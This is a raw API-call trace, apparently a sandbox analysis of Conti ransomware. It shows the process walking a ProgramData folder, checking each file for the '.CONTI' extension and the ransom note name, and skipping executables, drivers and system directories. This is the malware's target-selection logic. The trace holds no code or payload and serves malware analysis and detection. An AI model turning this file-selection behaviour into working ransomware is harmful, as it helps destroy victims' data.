	[0103.940] GetProcessHeap () returned 0x1720000
	[0103.940] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xba) returned 0x6510cf8
	[0103.940] lstrcpyW (in: lpString1=0x6510cf8, lpString2="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}"
	[0103.940] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\"
	[0103.940] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\", lpString2="netfol.ico" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico"
	[0103.941] FindNextFileW (in: hFindFile=0x17c8270, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x14668, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="pictures.ico", cAlternateFileName="")) returned 1
	[0103.941] lstrcmpiW (lpString1="pictures.ico", lpString2=".") returned 1
	[0103.941] lstrcmpiW (lpString1="pictures.ico", lpString2="..") returned 1
	[0103.941] StrStrIW (lpFirst="pictures.ico", lpSrch=".CONTI") returned 0x0
	[0103.941] StrStrIW (lpFirst="pictures.ico", lpSrch="CONTI_README.txt") returned 0x0
	[0103.941] StrStrIW (lpFirst="pictures.ico", lpSrch=".exe") returned 0x0
	[0103.941] StrStrIW (lpFirst="pictures.ico", lpSrch=".dll") returned 0x0
	[0103.941] StrStrIW (lpFirst="pictures.ico", lpSrch=".lnk") returned 0x0
	[0103.942] StrStrIW (lpFirst="pictures.ico", lpSrch=".sys") returned 0x0
	[0103.942] StrStrIW (lpFirst="pictures.ico", lpSrch=".CONTI") returned 0x0
	[0103.942] StrStrIW (lpFirst="pictures.ico", lpSrch="CONTI_README.txt") returned 0x0
	[0103.942] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned 81
	[0103.942] lstrlenW (lpString="pictures.ico") returned 12
	[0103.942] GetProcessHeap () returned 0x1720000
	[0103.942] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xbe) returned 0x65102d0
	[0103.942] lstrcpyW (in: lpString1=0x65102d0, lpString2="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}"
	[0103.942] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\"
	[0103.942] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\", lpString2="pictures.ico" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico"
	[0103.944] FindNextFileW (in: hFindFile=0x17c8270, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49362917, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x49362917, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x49362917, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="resource.xml", cAlternateFileName="")) returned 1
	[0103.944] lstrcmpiW (lpString1="resource.xml", lpString2=".") returned 1
	[0103.944] lstrcmpiW (lpString1="resource.xml", lpString2="..") returned 1
	[0103.944] StrStrIW (lpFirst="resource.xml", lpSrch=".CONTI") returned 0x0
	[0103.944] StrStrIW (lpFirst="resource.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0103.944] StrStrIW (lpFirst="resource.xml", lpSrch=".exe") returned 0x0
	[0103.944] StrStrIW (lpFirst="resource.xml", lpSrch=".dll") returned 0x0
	[0103.944] StrStrIW (lpFirst="resource.xml", lpSrch=".lnk") returned 0x0
	[0103.944] StrStrIW (lpFirst="resource.xml", lpSrch=".sys") returned 0x0
	[0103.944] StrStrIW (lpFirst="resource.xml", lpSrch=".CONTI") returned 0x0
	[0103.944] StrStrIW (lpFirst="resource.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0103.944] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned 81
	[0103.944] lstrlenW (lpString="resource.xml") returned 12
	[0103.944] GetProcessHeap () returned 0x1720000
	[0103.944] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xbe) returned 0x6510e88
	[0103.944] lstrcpyW (in: lpString1=0x6510e88, lpString2="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}"
	[0103.944] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\"
	[0103.944] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\", lpString2="resource.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml"
	[0103.945] FindNextFileW (in: hFindFile=0x17c8270, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xcaa9, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="ringtones.ico", cAlternateFileName="")) returned 1
	[0103.945] lstrcmpiW (lpString1="ringtones.ico", lpString2=".") returned 1
	[0103.945] lstrcmpiW (lpString1="ringtones.ico", lpString2="..") returned 1
	[0103.945] StrStrIW (lpFirst="ringtones.ico", lpSrch=".CONTI") returned 0x0
	[0103.945] StrStrIW (lpFirst="ringtones.ico", lpSrch="CONTI_README.txt") returned 0x0
	[0103.945] StrStrIW (lpFirst="ringtones.ico", lpSrch=".exe") returned 0x0
	[0103.945] StrStrIW (lpFirst="ringtones.ico", lpSrch=".dll") returned 0x0
	[0103.946] StrStrIW (lpFirst="ringtones.ico", lpSrch=".lnk") returned 0x0
	[0103.946] StrStrIW (lpFirst="ringtones.ico", lpSrch=".sys") returned 0x0
	[0103.946] StrStrIW (lpFirst="ringtones.ico", lpSrch=".CONTI") returned 0x0
	[0103.946] StrStrIW (lpFirst="ringtones.ico", lpSrch="CONTI_README.txt") returned 0x0
	[0103.946] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned 81
	[0103.946] lstrlenW (lpString="ringtones.ico") returned 13
	[0103.946] GetProcessHeap () returned 0x1720000
	[0103.946] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc0) returned 0x6510910
	[0103.946] lstrcpyW (in: lpString1=0x6510910, lpString2="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}"
	[0103.946] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\"
	[0103.946] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\", lpString2="ringtones.ico" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico"
	[0103.947] FindNextFileW (in: hFindFile=0x17c8270, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x10850, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="settings.ico", cAlternateFileName="")) returned 1
	[0103.947] lstrcmpiW (lpString1="settings.ico", lpString2=".") returned 1
	[0103.948] lstrcmpiW (lpString1="settings.ico", lpString2="..") returned 1
	[0103.948] StrStrIW (lpFirst="settings.ico", lpSrch=".CONTI") returned 0x0
	[0103.948] StrStrIW (lpFirst="settings.ico", lpSrch="CONTI_README.txt") returned 0x0
	[0103.948] StrStrIW (lpFirst="settings.ico", lpSrch=".exe") returned 0x0
	[0103.948] StrStrIW (lpFirst="settings.ico", lpSrch=".dll") returned 0x0
	[0103.948] StrStrIW (lpFirst="settings.ico", lpSrch=".lnk") returned 0x0
	[0103.948] StrStrIW (lpFirst="settings.ico", lpSrch=".sys") returned 0x0
	[0103.948] StrStrIW (lpFirst="settings.ico", lpSrch=".CONTI") returned 0x0
	[0103.948] StrStrIW (lpFirst="settings.ico", lpSrch="CONTI_README.txt") returned 0x0
	[0103.948] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned 81
	[0103.948] lstrlenW (lpString="settings.ico") returned 12
	[0103.948] GetProcessHeap () returned 0x1720000
	[0103.948] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xbe) returned 0x65111a8
	[0103.948] lstrcpyW (in: lpString1=0x65111a8, lpString2="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}"
	[0103.948] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\"
	[0103.948] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\", lpString2="settings.ico" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico"
	[0103.949] FindNextFileW (in: hFindFile=0x17c8270, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc04b, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="sync.ico", cAlternateFileName="")) returned 1
	[0103.949] lstrcmpiW (lpString1="sync.ico", lpString2=".") returned 1
	[0103.949] lstrcmpiW (lpString1="sync.ico", lpString2="..") returned 1
	[0103.949] StrStrIW (lpFirst="sync.ico", lpSrch=".CONTI") returned 0x0
	[0103.949] StrStrIW (lpFirst="sync.ico", lpSrch="CONTI_README.txt") returned 0x0
	[0103.949] StrStrIW (lpFirst="sync.ico", lpSrch=".exe") returned 0x0
	[0103.949] StrStrIW (lpFirst="sync.ico", lpSrch=".dll") returned 0x0
	[0103.949] StrStrIW (lpFirst="sync.ico", lpSrch=".lnk") returned 0x0
	[0103.949] StrStrIW (lpFirst="sync.ico", lpSrch=".sys") returned 0x0
	[0103.949] StrStrIW (lpFirst="sync.ico", lpSrch=".CONTI") returned 0x0
	[0103.950] StrStrIW (lpFirst="sync.ico", lpSrch="CONTI_README.txt") returned 0x0
	[0103.950] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned 81
	[0103.950] lstrlenW (lpString="sync.ico") returned 8
	[0103.950] GetProcessHeap () returned 0x1720000
	[0103.950] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xb6) returned 0x181b788
	[0103.950] lstrcpyW (in: lpString1=0x181b788, lpString2="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}"
	[0103.950] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\"
	[0103.950] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\", lpString2="sync.ico" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico"
	[0103.950] FindNextFileW (in: hFindFile=0x17c8270, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49316445, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x49316445, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x49316445, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2aff, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="tasks.xml", cAlternateFileName="")) returned 1
	[0103.950] lstrcmpiW (lpString1="tasks.xml", lpString2=".") returned 1
	[0103.950] lstrcmpiW (lpString1="tasks.xml", lpString2="..") returned 1
	[0103.950] StrStrIW (lpFirst="tasks.xml", lpSrch=".CONTI") returned 0x0
	[0103.950] StrStrIW (lpFirst="tasks.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0103.950] StrStrIW (lpFirst="tasks.xml", lpSrch=".exe") returned 0x0
	[0103.950] StrStrIW (lpFirst="tasks.xml", lpSrch=".dll") returned 0x0
	[0103.950] StrStrIW (lpFirst="tasks.xml", lpSrch=".lnk") returned 0x0
	[0103.950] StrStrIW (lpFirst="tasks.xml", lpSrch=".sys") returned 0x0
	[0103.950] StrStrIW (lpFirst="tasks.xml", lpSrch=".CONTI") returned 0x0
	[0103.950] StrStrIW (lpFirst="tasks.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0103.950] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned 81
	[0103.950] lstrlenW (lpString="tasks.xml") returned 9
	[0103.950] GetProcessHeap () returned 0x1720000
	[0103.950] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xb8) returned 0x17c8648
	[0103.950] lstrcpyW (in: lpString1=0x17c8648, lpString2="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}"
	[0103.950] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\"
	[0103.950] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\", lpString2="tasks.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml"
	[0103.950] FindNextFileW (in: hFindFile=0x17c8270, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1b9f4, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="wmp.ico", cAlternateFileName="")) returned 1
	[0103.950] lstrcmpiW (lpString1="wmp.ico", lpString2=".") returned 1
	[0103.950] lstrcmpiW (lpString1="wmp.ico", lpString2="..") returned 1
	[0103.951] StrStrIW (lpFirst="wmp.ico", lpSrch=".CONTI") returned 0x0
	[0103.951] StrStrIW (lpFirst="wmp.ico", lpSrch="CONTI_README.txt") returned 0x0
	[0103.951] StrStrIW (lpFirst="wmp.ico", lpSrch=".exe") returned 0x0
	[0103.951] StrStrIW (lpFirst="wmp.ico", lpSrch=".dll") returned 0x0
	[0103.951] StrStrIW (lpFirst="wmp.ico", lpSrch=".lnk") returned 0x0
	[0103.951] StrStrIW (lpFirst="wmp.ico", lpSrch=".sys") returned 0x0
	[0103.951] StrStrIW (lpFirst="wmp.ico", lpSrch=".CONTI") returned 0x0
	[0103.951] StrStrIW (lpFirst="wmp.ico", lpSrch="CONTI_README.txt") returned 0x0
	[0103.951] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned 81
	[0103.951] lstrlenW (lpString="wmp.ico") returned 7
	[0103.951] GetProcessHeap () returned 0x1720000
	[0103.951] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xb4) returned 0x17c61b0
	[0103.951] lstrcpyW (in: lpString1=0x17c61b0, lpString2="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}"
	[0103.951] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\"
	[0103.951] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\", lpString2="wmp.ico" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico"
	[0103.951] FindNextFileW (in: hFindFile=0x17c8270, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1b9f4, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="wmp.ico", cAlternateFileName="")) returned 0
	[0103.951] GetProcessHeap () returned 0x1720000
	[0103.951] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1732cc0 | out: hHeap=0x1720000) returned 1
	[0103.951] FindClose (in: hFindFile=0x17c8270 | out: hFindFile=0x17c8270) returned 1
	[0104.645] GetProcessHeap () returned 0x1720000
	[0104.645] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1732c10 | out: hHeap=0x1720000) returned 1
	[0104.645] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64a757, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", cAlternateFileName="{E35BE~1")) returned 1
	[0104.645] lstrcmpiW (lpString1="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", lpString2=".") returned 1
	[0104.645] lstrcmpiW (lpString1="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", lpString2="..") returned 1
	[0104.645] lstrcmpiW (lpString1="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", lpString2="tmp") returned -1
	[0104.645] lstrcmpiW (lpString1="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", lpString2="winnt") returned -1
	[0104.645] lstrcmpiW (lpString1="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", lpString2="Application Data") returned -1
	[0104.645] lstrcmpiW (lpString1="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", lpString2="AppData") returned -1
	[0104.645] lstrcmpiW (lpString1="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", lpString2="temp") returned -1
	[0104.645] lstrcmpiW (lpString1="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", lpString2="thumb") returned -1
	[0104.645] lstrcmpiW (lpString1="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", lpString2="$Recycle.Bin") returned 1
	[0104.645] lstrcmpiW (lpString1="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", lpString2="$RECYCLE.BIN") returned 1
	[0104.645] lstrcmpiW (lpString1="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", lpString2="System Volume Information") returned -1
	[0104.645] lstrcmpiW (lpString1="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", lpString2="Program Files") returned -1
	[0104.645] lstrcmpiW (lpString1="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", lpString2="Program Files (x86)") returned -1
	[0104.645] lstrcmpiW (lpString1="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", lpString2="Boot") returned -1
	[0104.645] lstrcmpiW (lpString1="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", lpString2="Windows") returned -1
	[0104.645] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Task") returned 42
	[0104.645] lstrlenW (lpString="{e35be42d-f742-4d96-a50a-1775fb1a7a42}") returned 38
	[0104.645] GetProcessHeap () returned 0x1720000
	[0104.645] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xa4) returned 0x1732c10
	[0104.645] lstrcpyW (in: lpString1=0x1732c10, lpString2="C:\\ProgramData\\Microsoft\\Device Stage\\Task" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task"
	[0104.645] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\"
	[0104.645] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\", lpString2="{e35be42d-f742-4d96-a50a-1775fb1a7a42}" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}"
